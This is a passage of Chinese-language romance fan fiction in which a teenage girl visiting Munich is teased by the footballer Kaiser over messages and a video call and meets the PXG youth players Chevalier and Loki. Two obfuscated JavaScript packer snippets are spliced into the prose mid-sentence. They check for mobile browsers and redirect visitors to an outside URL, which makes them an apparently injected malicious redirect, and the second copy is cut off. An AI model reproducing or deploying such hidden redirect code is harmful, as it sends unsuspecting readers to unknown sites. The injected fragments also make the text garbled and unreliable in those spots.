父亲在一旁看着,脸上表情古怪,像是在努力憋笑,又像是有点担心自家白菜被猪拱了的警惕,最终化为一声无奈的咳嗽:“好了好了,礼物都送到了,我们就别堵在路上了。亚历克西斯,凯撒,你们也赶紧回基地吧,下午不是还有训练?” 这场突如其来的、让我窘迫万分的风波,总算在内斯的打圆场和父亲的解围下勉强告一段落。凯撒带着那堆“战利品”薄荷糖,和内斯一起转身离开。走出去几步,他还回头瞥了我一眼,嘴角那抹可恶的笑容依旧挂在脸上。 我一直等到他们的身影彻底消失在街角,才长长地、彻底地松了一口气,感觉像是刚跑完一场一万米,浑身脱力。脸颊上的热度迟迟不肯消退。 “哎呀呀,现在的年轻人啊……”父亲在一旁摸着下巴,语气感慨万千,眼神里却全是看热闹不嫌事大的光,“我们家小爱魅力不小嘛!连那个冰山一样的凯撒都主动凑过来‘收家教费’了?” “爸!”我羞恼地瞪了他一眼,推起行李车埋头就往酒店方向走,“快走吧!我累了!” 一路无话。到达酒店办理完入住,我几乎是逃也似的钻进了自己的房间,反手锁上门,背靠着冰凉的门板,大口喘着气。房间里安静得能听到自己的心跳声。 过了好一会儿,那种面红耳赤、心跳失序的感觉才慢慢平复下去。我扑倒在柔软的大床上,把发烫的脸埋进微凉的被子里,试图驱散凯撒那张带着恶劣笑容的脸和那句“小学徒”在脑海里循环播放的景象。 真是……太丢人了! 咚咚。敲门声轻轻响起,门外传来父亲的声音:“爱?睡了吗?老爸这边有点小蛋糕,你之前没吃早饭,要不要来拿点垫垫肚子?” 我挣扎着爬起来,整理了一下头发和衣服,确认自己脸上看不出太多异样,才走过去打开门。 父亲站在门口,手里拿着一个小纸盒,里面装着几块造型精致的小蛋糕,正是刚才那家糕点店的。“喏,给你留的。我看你刚才都没怎么吃东西,光顾着害羞了。”他笑嘻嘻地把盒子递给我。 我接过盒子,低声道了声谢。确实有点饿了,而且甜食总能让人心情变好。 父亲的房间就在我隔壁,门开着,能听到里面传来他讲电话的声音,语气熟稔又热烈:“……哈哈哈!当然到了!刚安顿好!……是啊,带女儿过来看看,顺便给你们个惊喜!……怎么样,最近忙不忙?” 我拿着蛋糕盒,下意识地朝里面望了一眼。父亲正背对着门口,对着笔记本电脑屏幕说得眉飞色舞。屏幕那头,是一个看起来颇为豪爽的中年男人,留着浓密得几乎遮住半张脸的大胡子,眼睛炯炯有神,穿着运动服,背景像是个办公室。 “哦?爱来了?”父亲听到动静,回过头对我招招手,“来来来,正好!给你介绍一下,这是我以前的老队友,现在在PXG青年队当教练,你叫他大胡子叔叔就行!” 我端着蛋糕盒走过去,对着屏幕里的教练礼貌地笑了笑:“大胡子叔叔您好,我是清田爱。” “哎呀!这就是美纪的女儿?都长这么大了!真漂亮!气质也好!”大胡子教练声音洪亮,隔着屏幕都能感受到他的热情,“像妈妈!真像!你好啊,小爱!” “谢谢叔叔。”我被他夸得有点不好意思,小口咬着手里的蛋糕。浓郁的奶油和咖啡香气在嘴里化开,确实非常美味,感觉被凯撒搅乱的神经都得到了抚慰。 父亲重新坐回电脑前,和大胡子教练继续聊起来,话题自然围绕着足球、球员、还有他们共同认识的老朋友。我坐在旁边的沙发上,安静地吃着蛋糕,听着他们聊天。 很快,话题就转到了PXG现在的球员身上。一提到朱利安·洛基,大胡子教练的情绪明显更加高涨,胡子都快翘起来了,言语间充满了自豪和得意:“……不是我吹,老伙计,洛基这小子绝对是十年……不,五十年一遇的天才!那速度!那爆发力!那射门的感觉!天生就是吃这碗饭的!我们教练组现在天天开会,讨论的都是怎么更好地‘饲养’这头小野兽,既不能磨灭他的野性,又得让他学会更有效率地捕猎!头疼,但也真他的过瘾!” 父亲听得哈哈大笑,连连点头:“看出来了!昨天看了他的集锦,好家伙,那冲击力隔着屏幕都吓人!未来绝对是你们PXG的王牌!” “那必须的!”大胡子教练用力一拍大腿,随即像是想起了什么,脸上的得意收敛了些,换上了一副又好气又好笑的无奈表情,“说到王牌……有满意的,就有头疼的。我们这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251838|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有个中场的小子,叫夏尔·希瓦利埃,明年二月份才满十五岁,天赋也是顶呱呱,技术和洛基那小子简直是绝配,俩人关系还挺好……” 他顿了顿,表情变得有些牙疼:“可这性格……真是皮得上天!没大没小,整天嬉皮笑脸,教练的话也敢当耳旁风,就喜欢跟你唱反调!还给自己起了个外号,叫什么……‘天邪鬼’?对!就是这个词!我特意上谷歌搜过了,说是日本神话里一种专门跟人对着干、唱反调的妖怪?嘿!你说气不气人!” 父亲闻言也乐了:“天邪鬼?这外号倒是挺别致。怎么,这小子还对日本文化有研究?” “谁知道呢!可能就是觉得好玩,故意气我们!”大胡子教练吹胡子瞪眼,“我就想不明白了,这么个糟心孩子,怎么就偏偏有那么好的足球天赋!唉!” 他像是突然找到了倾诉对象,对着父亲大倒苦水:“老伙计,你老婆是日本人,你肯定多少知道点吧?这‘天邪鬼’到底是个什么来头?有没有什么……嗯……克星什么的?或者怎么治它?我是真拿这小子没辙了!打不得骂不听,道理讲了一箩筐,他左耳进右耳出,下次还犯!” 父亲摸着下巴,一脸爱莫能助:“这你可问倒我了。我对这些神话传说一窍不通。不过……”他话锋一转,目光落在我身上,眼睛一亮,“我女儿在日本长大,说不定听说过?爱,你知道那个什么……天邪鬼吗?” 被突然点名,我咽下嘴里最后一口蛋糕,点了点头:“嗯,知道一点。”天邪鬼在日本民间传说里确实是个以唱反调、模仿他人为乐的妖怪,经常被用来形容性格别扭、喜欢和人对着干的人。 大胡子教练立刻像是看到了救星,屏幕上的大脸都凑近了些,急切地问:“真的?那它有没有什么怕的东西?或者怎么才能让它听话点?” 我努力回忆了一下看过的杂书和动漫里的设定,不太确定地说:“好像……没有特定的克星。不过传说里,它虽然喜欢恶作剧和唱反调,但似乎也不是什么特别邪恶的妖怪,有时候甚至有点……笨笨的?容易被自己的恶作剧坑到?大概……只能顺着它的毛捋,或者用更聪明的办法引导?”我说得有些含糊,毕竟神话传说这种东西,版本很多,也没什么标准答案。 大胡子教练听得似懂非懂,眉头紧锁:“顺着毛捋?引导?这……”他显然觉得这方法对付夏尔·希瓦利埃那个皮猴子有点太温和了。 就在他还想再追问点什么的时候,他身后的办公室门突然“砰”的一声被人从外面猛地推开了! 一个身影像阵风似的卷了进来,人未到声先到,清亮又带着点少年特有的张扬嗓音瞬间充斥了整个屏幕: “教练!听说你又在背后说我帅……诶?” 闯进来的是个看起来绝不像只有十四岁的少年。他个子很高,身形挺拔,穿着一身PXG的训练服,金色的短发在灯光下格外耀眼,刘海和鬓角处挑染着几缕醒目的银白色。他脸上洋溢着灿烂又带着点痞气的笑容,露出一颗尖尖的小虎牙,看起来活力四射,又带着点玩世不恭的调调。 他的目光飞快地扫过办公室,立刻捕捉到了电脑屏幕这边的我们,尤其是坐在沙发上的我。那双和金发同色、却更加璀璨明亮的金色眼眸瞬间睁大了,里面充满了毫不掩饰的好奇和兴趣。 “哇哦!”他吹了声口哨,脸上的笑容扩大,虎牙显得更明显了,三两步就蹿到了大胡子教练身后,胳膊极其自然地搭在了教练的肩膀上,完全无视了后者瞬间黑下来的脸色,探头探脑地对着屏幕这边的我挥手,“嗨!美女!以前没见过啊!哪个队的?还是来试训的?我叫夏尔!夏尔·希瓦利埃!交个朋友?” 我被他这连珠炮似的、自来熟到极点的问候弄得一愣,下意识地摇了摇头:“不,我不是……” “夏尔·希瓦利埃!”大胡子教练终于爆发了,用力想把他的胳膊从自己肩膀上抖下去,气得胡子都在发抖,“给我滚出去!没看到我正在和老朋友视频吗?!一点规矩都没有!” “哎呀,别这么小气嘛教练!”夏尔非但没松手,反而凑得更近,几乎把脑袋搁在了教练头上,金色眼睛眨巴着,像只大型的金毛犬,但眼神里却闪烁着狡黠的光,“既然是老朋友,那也就是我的朋友啦!介绍一下嘛!这位漂亮姐姐是?” 如果不是提前知道了他的年龄,我绝对会以为这家伙至少是个准高中生!这身高、这气场、这撩妹(?)的熟练度,哪里像十四岁了?! 大胡子教练显然被他气得够呛,对着屏幕这边的我们露出一个抱歉又无奈的表情,然后用力把夏尔往外推:“滚滚滚!训练时间快到了!赶紧给我去场地热身!再废话下周所有友谊赛你都别想上了!” 一听可能被禁赛,夏尔这才撇了撇嘴,稍微收敛了一点,但离开前还不忘对着屏幕抛来一个wink,笑容灿烂地喊道:“美女姐姐!回头见!我叫夏尔!记住啦!”说完,才在大胡子教练的怒吼声中,大笑着溜出了办公室。 办公室门被重重关上,隐约还能听到外面传来他哼着歌跑远的声音。 大胡子教练喘着粗气坐回椅子上,对着我们露出一脸苦笑:“……看到了吧?就这德行!简直无法无天!天邪鬼!绝对的天邪鬼转世!” 父亲在一旁已经笑得前仰后合:“哈哈哈!有点意思!这小子!活力十足啊!是个好苗子!” 我坐在沙发上,脑子里还回响着夏尔·希瓦利埃那声活力四射的“美女姐姐”和他毫不怕生的灿烂笑容,再看看大胡子教练那副头疼欲裂的样子,忽然觉得,这次的慕尼黑之行,除了那个冰冷又恶劣的凯撒,似乎还会遇到更多……意想不到的人和事。 足球的世界,果然无奇不有。 39. 凯撒 仅呆了一天,我就发现了,这次来和上次最大的区别—— 至少上次不认识的欧洲男人不会前仆后继地涌上来,而现在已经开门红似的见了两个嘴巴恐怖如斯的白男,祈祷表哥内斯在凯撒那里不要学坏,不然就糟糕了。 我望着酒店天花板上简洁的吊灯,在床上又翻了几个滚,试图把凯撒那张带着恶劣笑意的脸和夏尔·希瓦利埃过分灿烂的笑容从脑海里甩出去。失败后,我认命地掏出了手机。 屏幕亮起,显示着几条未读消息。最上面的是内斯,时间就在半小时前。 【内斯:爱,到酒店了吗?一切都还顺利吗?再次为凯撒刚才的失礼道歉,他真的只是……嗯……有时候会比较随性。希望没有让你太困扰。(; ?д`)ゞ】 看着内斯这小心翼翼又带着满满歉意的文字,我几乎能想象出他此刻皱着眉、一脸担忧的样子。我忍不住叹了口气,回复过去。 【我:已经到酒店啦,没事的,别放在心上。就是有点……吓到了。内斯你不用总是替他道歉啦。】 【内斯:那就好!(^▽^)下午有什么安排吗?如果想来基地参观的话,我可以当向导!当然,前提是你不介意再看到某个对你来说…呃、有点相处不来的家伙……】 【我:下午还没定,可能先在附近逛逛吧。参观基地……我再想想?】 【内斯:好的!随时联系我哦!】 和内斯聊完,心情稍微平复了一些。至少这个表哥还是正常且温暖的。接着,我点开了和凪以及玲王的群聊。里面已经有了几条消息。 【凪:到了吗?小剪还好吗?[仙人掌图片]】 【玲王:凪,爱才刚到慕尼黑,怎么可能知道小剪的情况……爱,德国那边怎么样?还适应吗?见到你那个表哥和那个很吵的家伙了?】 看着玲王的消息,我仿佛能听到他带着点不满又强装随意的语气。那个“很吵的家伙”显然是指凯撒,玲王对他似乎一直没什么好印象,尤其是在知道他会远程“指导”我踢球之后。 我犹豫了一下,开始打字。当然,关于凯撒那句“来见一见你”和后续的“家教费”事件,以及那个PXG的“天邪鬼”夏尔,我决定略过不提。尤其是暧昧不清的部分,绝对不能让玲王知道。想起上次在蓝色监狱探望时,他仅仅因为纠结我是不是更看重凪就差点把牙刷薅秃的模样,我就心有余悸。这种爱吃醋的小狮子,只能顺毛捋,一点点可能引爆他的火星子都不能留。 【我:到了到了,酒店环境还不错。德国这边天气有点干,不过还好。见到内斯了,他人很好,还给我们带了路。也见到凯撒了……嗯,不好说。】 【我:对了,刚才还通过爸爸的朋友,远程见到了一个PXG青年队的教练,和一个特别……活泼的队员。足球世界果然无奇不有。】 【凪:哦……好麻烦的感觉。德国有好喝的柠檬茶吗?】 【玲王:PXG?那个法甲俱乐部?他们的青训确实很有名,出了几个天才。你说那个队员特别活泼?有多活泼?】 【我:凪,柠檬茶我会留意的。玲王,那个队员……大概就是,精力过剩,自来熟到让人有点招架不住的那种?】 【玲王:哼,听起来就不怎么可靠。你还是离那种人远一点。对了,有没有遇到什么奇怪的人或者麻烦?】 【我:没有啦,一切都好。你们呢?训练怎么样?】 【玲王:还好,就是绘心那家伙的菜单还是那么变态。不过我和凪都在进步。】 【凪:嗯……好累。想睡觉。想打游戏。爱,你不在,玲王盯我训练盯得更紧了……[白色小人瘫倒.jpg]】 【玲王:凪!还不是因为你总想偷懒!爱,你别听他瞎说。】 看着他们你一言我一语,虽然隔着时区和遥远的距离,但那份熟悉的感觉瞬间驱散了身处异国他乡的陌生感和方才的窘迫。我不自觉地露出了笑容,手指飞快地敲击屏幕。 【我:你们俩都要好好加油啊!我会给你们带纪念品的!】 【玲王:说定了!期待你的礼物!(* ̄︶ ̄)】 【凪:纪念品……想要不用麻烦就能吃到的好吃的东西……】 【玲王:凪!你的要求也太具体了吧!】 又和他们闲聊了几句,互道了加油和注意身体之后,我退出了聊天界面。 心情彻底放松下来。闲着也是闲着,我打开了手机上的《FIFA》游戏,准备踢两局放松一下。随机匹配到的对手似乎是个操作不错的玩家,攻势很猛。我操控着球员艰难地防守,几次惊险的解围后,终于抓住机会打了一次快速反击,一个漂亮的直塞球穿透防线,前锋单刀赴会,冷静推射远角得分! “Yes!”我忍不住小声欢呼了一下。 就在进球回放结束,等待对方开球的时候,手机上方突然弹出一条新消息提示。 【凯撒:[图片]】 发送人那栏的名字让我手指一僵,差点把手机摔在床上。他怎么会有我的联系方式?!是内斯给的?还是爸爸?等等……重点是我们什么时候加上的?我完全没印象! 我深吸一口气,带着一种极其复杂的心情点开了那条消息。 图片加载出来,赫然是我刚才塞给他的那一整袋花花绿绿的薄荷糖。它们此刻被倒在酒店洁白的床单上,铺开了一片。而图片的焦点,是其中一颗蓝色包装的糖,被两根骨节分明、贴着创可贴的手指拈了起来,背景虚化,但那冰蓝色的眼眸似乎在镜头后方凝视着屏幕外的我。 没有配任何文字。 但这张图的意思简直不能更明显了!像是在展示“战利品”,又像是在说“我收到了”,甚至还带着点品评挑选的意味。 我的脸颊又开始不受控制地发热。这个人!到底想干什么?! 我盯着那张图片看了足足十几秒,最终还是决定无视。绝对不能回!一回他就得寸进尺了!我恶狠狠地把手机扔到一边,试图重新聚焦在游戏上,却发现刚才的手感和节奏全乱了,操作频频失误,很快就被对手连进两球。 “……可恶!”我泄气地退出了游戏。 看了眼时间,差不多该吃午饭了。下午的行程还没确定,内斯虽然邀请了,但一想到可能会碰到凯撒,我就心生退意。爸爸似乎也没定下具体的计划。还是先养精蓄锐吧。 我把脸埋进柔软的枕头里,强迫自己清空大脑。慕尼黑的阳光透过窗帘缝隙洒进来,温暖而安静。旅途的疲惫和接连的情绪波动慢慢上涌,我不知不觉地沉入了梦乡。 这一觉睡得并不踏实。光怪陆离的梦境里,一会儿是凯撒戴着墨镜逼近问我收家教费,一会儿是夏尔·希瓦利埃顶着那头金白挑染的头发笑嘻嘻地喊“美女姐姐”,一会儿又变成玲王气鼓鼓地拔着牙刷毛质问“我和凪到底谁更重要”,最后甚至梦到凪的仙人掌小剪长出了腿,追着我要柠檬茶…… 最近怎么老是做梦啊?!! 我是被一阵轻轻的敲门声吵醒的。 “爱?醒了吗?差不多该起来吃午饭了,然后商量一下下午去哪。”爸爸的声音在门外响起。 我迷迷糊糊地应了一声,挣扎着从乱七八糟的梦境里挣脱出来。拿起手机一看,居然已经快下午一点了。屏幕上还有几条未读消息。 除了内斯又发来一条询问下午安排的之外,最醒目的还是那个唯一的联系人发来的。 【凯撒:味道还行。】 时间显示是半小时前。下面附了一张新的图片——那颗蓝色包装的薄荷糖被拆开了,糖纸放在一边,里面的糖果不见了踪影。 我的额头抵在冰凉的手机屏幕上,发出无声的哀嚎。 这个人……没完没了了啊! 最终,我和爸爸决定下午先去慕尼黑市中心逛逛,玛利亚广场、谷物市场什么的,感受一下这座城市的氛围,顺便解决晚饭。至于参观青训基地……我以“想先轻松逛逛”为由,暂时婉拒了内斯的邀请。内斯表示理解,并推荐了几个市区的景点。 走出酒店,慕尼黑午后的阳光温暖而不炙热,带着啤酒之都特有的悠闲气息。古老的建筑、有轨电车叮叮当当的声音、街头艺人的表演……一切都充满了异国情调。我深吸一口气,努力把某个烦人的身影和那些莫名其妙的信息抛在脑后,试图享受这段难得的亲子旅行时光。 爸爸显然对这里很熟悉,兴致勃勃地给我介绍着各个建筑物的历史,还能用带着口音但还算流利的德语和路边咖啡店的老板打招呼。看着他开朗的样子,很难想象他曾经是那个在绿茵场上让所有前锋胆寒的世界第一门将。 “……所以你看,那个铜像据说摸了会有好运,不过我觉得都是骗游客的……”爸爸正指着广场上的一个雕像说得起劲,他的手机突然响了起来。 他看了一眼来电显示,对我做了个“稍等”的手势,走到旁边接起了电话。 “喂?嗯,是我。对,我们在玛利亚广场这边。怎么了?……哦?现在?呃……我问问她。”他捂着话筒,转头看向我,脸上表情有点微妙,“爱,是内斯。他说他和凯撒刚好结束上午的训练,下午没事,想过来给我们当导游?问我们方不方便?” 我的笑容瞬间僵在脸上。 怎么又来了?!阴魂不散吗?! “不方便!”我几乎是脱口而出,声音因为急切而稍微拔高了一点,引得旁边几个路人侧目。我赶紧压低声音,“爸,我们说好就我们自己逛逛的!” 爸爸看着我如临大敌的样子,忍不住笑了一下,对着电话那头说:“啊……内斯啊,你看,我们这边已经逛得差不多了,打算随便走走就回去了……下次吧?下次一定……嗯嗯,好,替我跟凯撒问好。再见。” 他挂了电话,走回来,揶揄地看着我:“这么不想见到他们?我看内斯那孩子挺失望的。” “我不是不想见内斯……”我小声嘟囔,“我是……” “好啦好啦,我知道。”爸爸拍了拍我的肩膀,没有再打趣我,“走吧,带你去吃一家超好吃的猪肘子!保证你把烦心事都忘光!” 美味的食物和爸爸的插科打诨确实有效。当我啃着外皮酥脆、内里软嫩的烤猪肘,搭配着酸爽的德国酸菜和绵密的土豆泥时,心情终于彻底放晴了。 然而,这份好心情并没能持续到晚上。 回到酒店房间,我刚洗完澡出来,擦着头发,手机又“叮”了一声。 一种不祥的预感涌上心头。我几乎是屏住呼吸拿起手机。 果然。 【凯撒:躲我?】 简单的两个字,后面跟了一个系统自带的微笑表情。 那个黄色的、标准的笑脸,在此刻看来,充满了嘲讽和冰冷的意味。 我感觉自己的头皮都要炸开了!他怎么会知道?!是内斯说的?还是他猜的?这个人是有读心术吗?! 我心跳加速,盯着那两个字和一个表情,仿佛能透过屏幕看到凯撒那张似笑非笑、一切尽在掌握中的讨厌脸庞。 这一次,我再也忍不住了。肾上腺素飙升,一种被看穿、被挑衅的恼怒感冲昏了头脑。 我手指颤抖着,飞快地敲击屏幕,几乎没过脑子就回了一句过去。 【我:谁躲你了!我只是有自己的安排!】 消息发送成功的瞬间,我就后悔了。 完了。 中计了。 我不该回的!这不就正中他下怀了吗?!明明下定决心无视到底的! 我绝望地把手机扔到床上,仿佛那是什么烫手的山芋。果不其然,几乎就在下一秒,手机嗡嗡地震动起来。 不是消息。 是视频通话的邀请。 屏幕上赫然跳动着那个我现在最不想看到的名字——米歇尔·凯撒。 铃声执着地响着,一遍又一遍,在安静的酒店房间里显得格外刺耳。每一声都像敲在我的心脏上。 接?还是不接? 接了说什么?看他那张脸继续嘲笑我吗? 不接?那他会不会一直打?或者又发什么更可怕的东西过来? 我的手心开始冒汗,盯着屏幕上那个不断闪烁的名字,仿佛在进行一场极度艰难的心理拉锯战。 最终,在铃声即将挂断的最后一刻,我也不知道是哪根筋搭错了,或许是破罐破摔,或许是想看看他到底能有多过分,手指竟然鬼使神差地按下了绿色的接听键。 屏幕亮起,网络稍微延迟了一秒,然后,一张无可挑剔的、带着湿气的脸庞出现在屏幕那头。 凯撒似乎也刚洗完澡,金色的发丝湿漉漉地搭在额前,几缕挑染的蓝色黏在皮肤上,还在滴水。他没有穿上衣,只随意地在腰间围了条浴巾,露出线条分明的胸膛和腹肌,皮肤因为热水冲刷而泛着淡淡的粉色。水珠沿着锁骨和胸肌的沟壑滑落,没入腰间的浴巾边缘。 他靠在看起来像是宿舍的白色墙壁上,一只手拿着手机,另一只手随意地用一条毛巾擦着头发。冰蓝色的眼眸透过屏幕,准确地捕捉到我瞬间呆滞的表情,嘴角缓缓勾起一个极具侵略性的弧度。 “哦?”他低沉而带着磁性的声音,混合着刚沐浴后的沙哑,透过听筒传来,像羽毛搔过耳膜,却带着不容错辨的戏谑,“终于敢接了?我还以为你要当一辈子鸵鸟呢,小学徒。” 我的大脑“嗡”的一声,一片空白。视线完全不知道应该放在哪里——是看他那双戏谑的眼睛,还是看他还在滴水的头发,或者是……那片过于开阔的、肌理分明的胸膛? 脸颊的温度瞬间飙升到前所未有的高度,连耳根都烫得厉害。 上帝耶稣圣母玛利亚以及老天奶啊! 我为什么要手贱接这个视频通话?! 绝望、好绝望啊……即使是身为幼驯染的御影玲王也从来没有跟我这么坦诚相待过。 屏幕那头的凯撒似乎对我石化般的反应十分满意,他慢条斯理地擦拭着头发,水珠顺着他肌理分明的胸膛滑落,没入腰间的浴巾。那双冰蓝色的眼睛带着毫不掩饰的戏谑,仿佛在欣赏一出由他主导、而我手足无措的滑稽戏。 “怎么?看呆了?”他低沉的声音带着刚沐浴后的沙哑,透过听筒传来,像带着微小的电流,窜过我的脊背,“还是说……在比较我和你见过的某位男士的身材?” 什、什么?对比…身材? 这句话让我更加慌乱,脸颊烫得几乎能煎鸡蛋。大脑一片空白,所有语言功能彻底罢工,只能徒劳地张了张嘴,却发不出任何声音。 这家伙……这种游刃有余、步步紧逼、完全不在乎边界感的作风……他真的是德国人吗?德国人不是应该更严谨、更刻板、更……保持距离吗?他这副做派,简直比我在漫画里看到的法国人还要过分!但他的姓氏明明是德国姓氏……难不成是德法混血?那种浪漫轻浮和冰冷强硬结合在一起的、更可怕的品种? 我越想越偏,越想越羞,感觉头顶都要冒蒸汽了。不能再这样下去了!绝对不行! 几乎是出于一种濒临崩溃的自保本能,我的手指猛地戳向屏幕上的红色挂断键,动作快得几乎带出了残影! 视频通话界面瞬间消失,屏幕暗了下去,映出我自己通红而惊魂未定的脸。 “呼……呼……”我大口大口地喘着气,像是刚刚逃离了猎食者追捕的小动物,心脏在胸腔里疯狂地跳动,几乎要撞破肋骨。我把发烫的脸埋进微凉的被子里,试图冷却过载的神经末梢。 活了……终于又活过来了…… 对于一个十七年来感情经历一片空白、连和玲王最暧昧的时候也仅限于天台那次气氛微妙的谈话、顶多就是不小心碰到手指都会心跳加速半天的女高中生来说,刚才那短短几十秒的视频冲击力,实在是太太太超过了!简直是核弹级别的降维打击! 在床上瘫了好一会儿,那种面红耳赤、心跳失序的感觉才慢慢平复下去。我坐起身,拍了拍自己的脸,试图把凯撒那张带着恶劣笑意的脸和那片过于开阔的胸膛从脑海里驱逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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寸头这种考验颜值的发型非但没有削弱他的魅力,反而凸显了他五官的立体和硬朗,添上了一种难以言说的、野性又纯粹的气息。但如果非要我总结第一印象的冲击力来自哪里——果然还是黑皮吧!这种充满力量感和阳光气息的黑皮,在视觉上就极具存在感! “这位就是朱利安·洛基,”爸爸热情地向我介绍,语气里满是赞赏,“PXG青年队的王牌前锋!大胡子叔叔的宝贝疙瘩!” 然后他又对着屏幕说:“洛基,这就是我女儿,清田爱。” “您好,清田小姐。”洛基的声音清朗,带着点法国口音的英语,他对着镜头微微颔首,笑容得体,“经常听清田先生和教练提起您,很高兴终于见到您了。” 他的措辞很礼貌,举止也挑不出毛病,但我能隐约感觉到那礼貌外表下难以完全掩藏的傲慢本质——那是一种对自己天赋和实力的绝对自信,仿佛王者巡视领地般的自然流露。不过,这种傲慢并不惹人讨厌,反而让人觉得……嗯,理所当然?就像豹子不会刻意掩饰自己的天赋一样,虽然我觉得猎豹这种生物挺可爱的。 爸爸显然完全不介意这个,他哈哈大笑着,看起来和洛基相处得非常融洽:“哎呀,叫什么小姐,太见外了!叫她爱就行!洛基这小子可真不得了,刚才跟我聊了半天战术思路,见解独到,未来绝对是世界级的!” 大胡子教练在一旁与有荣焉地摸着胡子,一脸得意:“那是!也不看看是谁带出来的!” 洛基对爸爸的夸赞只是微微一笑,那笑容里自信十足,却并不显得过分骄傲,仿佛只是在陈述一个既定事实。他的目光转向我,金色的眼瞳里带着些许好奇:“清田先生过奖了。倒是您,清田小姐,听说您最近也开始接触足球了?” “啊……嗯,只是刚开始随便练练。”我有些不好意思地回答。在这样一位天才前锋面前,我那点颠球和传球练习简直不值一提。 “起步无关早晚,重要的是兴趣和潜力。”洛基的语气很自然,没有丝毫轻视的意思,反而带着点探讨的意味,“清田先生和清田夫人的女儿,天赋一定不会差。有机会的话,很想看看您的表现。” 他提到我父母名字时的发音很标准,语气里也带着明显的尊重。看来他们的名声在足球世界里确实是无远弗届。 “哈哈,说不定以后真有机会踢场练习赛呢!”爸爸看起来心情极好,又开始天马行空地设想,“到时候洛基你可要手下留情,别把我女儿吓哭了。” 洛基闻言,脸上的笑容扩大了些,露出雪白的牙齿:“怎么会。我相信虎父无犬女。”他的目光在我脸上停留了片刻,那眼神锐利而直接,像是在评估什么,但并无恶意,反而充满了专注的兴趣,“事实上,我已经开始期待了。” 他的直白让我微微一怔。这种毫不绕弯子的说话方式,和凯撒那种带着戏谑的迂回完全不同,是一种更纯粹、更基于足球本身的关注。 我们又随意聊了几句,主要是爸爸和大胡子教练在说,洛基偶尔会插话,发表一些对足球的见解,言辞犀利,观点鲜明。我大部分时间只是安静地听着,偶尔回答一两个问题。不得不承认,看着一个和自己年龄相仿的人,在专业的足球领域展现出如此强大的自信和深厚的理解,是一种很新奇的体验。他和玲王的领袖气质不同,和凪的慵懒天成也不同,是一种更具攻击性和目标性的锋芒。 过了一会儿,洛基似乎接到了一条信息,他看了一眼,然后礼貌地对我们说:“抱歉,清田先生,清田小姐,教练,我得去准备下午的训练了。” “快去快去!训练重要!”爸爸连忙说。 洛基站起身,对着镜头点了点头,最后又看了我一眼,笑容依旧明亮而自信:“那么,先失陪了。期待下次再见,清田小姐。”说完,他便利落地转身离开了。 屏幕那头只剩下大胡子教练一个人,他笑眯眯地看着我们:“怎么样?我家这头小野兽,还不错吧?” “何止不错!”爸爸竖起大拇指,“未来绝对是你们PXG的顶梁柱!” 我又坐了一会儿,听爸爸和大胡子教练聊了些足球圈的趣事,便找了个借口先回了自己房间。关上门,靠在门板上,今天下午经历的一切像走马灯一样在脑海里回转——凯撒那个令人窒息又羞愤的视频通话,以及刚刚见到的、充满野性魅力和自信的天才前锋洛基。 足球的世界,果然充满了各种各样极具冲击力的人物啊…… 我甩了甩头,决定不再多想。正准备找点事情做分散注意力,手机又震动了一下。 我的心下意识地一紧,生怕又是那个阴魂不散的家伙。小心翼翼地拿起来一看,发信人却让我有些意外。 是那个刚刚才在视频里见过面的,朱利安·洛基。 他的头像是某个卡通猎豹的logo,简洁有力。好友申请是通过爸爸分享的名片发来的,附言只有简单的一句:【我是朱利安·洛基。】 我犹豫了一下,通过了他的申请。毕竟刚才聊得还算愉快,而且他是爸爸朋友的学生,直接拒绝不太礼貌。 几乎是立刻,那边就发来了消息。 【洛基:冒昧打扰了,清田小姐。】 【我:没关系。洛基先生有什么事吗?】 【洛基:不必用敬语,叫我朱利安或者洛基都可以。】他回复得很快, 【只是想确认一下联系方式。另外,听说你们会在慕尼黑停留几天?】 【我:嗯,是的。大概一周左右。】 【洛基:明白了。如果有什么需要帮忙的,或者想了解更多关于足球的事情,可以随时联系我。】他的用词直接而坦率,【我对清田小姐的潜力很感兴趣,不知道小姐您是否对PXG有兴趣,如果有需要的话,请赏脸给我这个为您介绍的机会^^。】 这种单刀直入的表达方式让我有点措手不及,但比起凯撒那种拐弯抹角的戏弄,似乎又显得纯粹很多。 【我:谢谢……我会的。叫我爱就可以了。】 【洛基:好的,爱。】他从善如流, 【期待你的消息。我先去训练了。】 对话就此结束。我看着屏幕上简短的交流,心里有种奇怪的感觉。这位洛基,果然是个目标明确、行动力极强的家伙。 40. 约会 又是新的一天,还有一天才比赛。我感觉我好像没什么事可干了。 慕尼黑的阳光透过酒店窗帘的缝隙,在地毯上拉出长长的光斑。空气里漂浮着细微的尘埃,安静得能听到自己的呼吸声。我瘫在柔软的扶手椅里,手指无意识地抠着椅套的绒面,一种无所事事的空虚感慢慢爬了上来。 不能想凯撒。绝对不能想那个家伙。一想起来,耳边就好像又响起他那带着德国腔调的、戏谑的“小学徒”,眼前仿佛又看到那片过于开阔的、还挂着水珠的胸膛……停! 我猛地甩了甩头,试图把那些令人面红耳赤的画面驱逐出去。视线在房间里漫无目的地游移,最后落在了床头柜上。那里随意搭着一件球衣——是爸爸昨天换下来的,他俱乐部的复古纪念款,胸口还有他龙飞凤舞的签名。说是让我可以睹物思人,好像他会随时飞上外太空一样。 说起来,爸爸的签名球衣好像挺值钱的?尤其是那些限量版或者有特殊意义的。上次好像听舅舅提过一嘴,说黑市上老爸巅峰期的落场版球衣能炒到天价。毕竟他是“世界第一门将”嘛……虽然在我这里只是个不靠谱的老爸。 球衣的价格,好像都和球员的名气、人气直接挂钩吧?粉丝越多,越狂热,价格自然就水涨船高…… 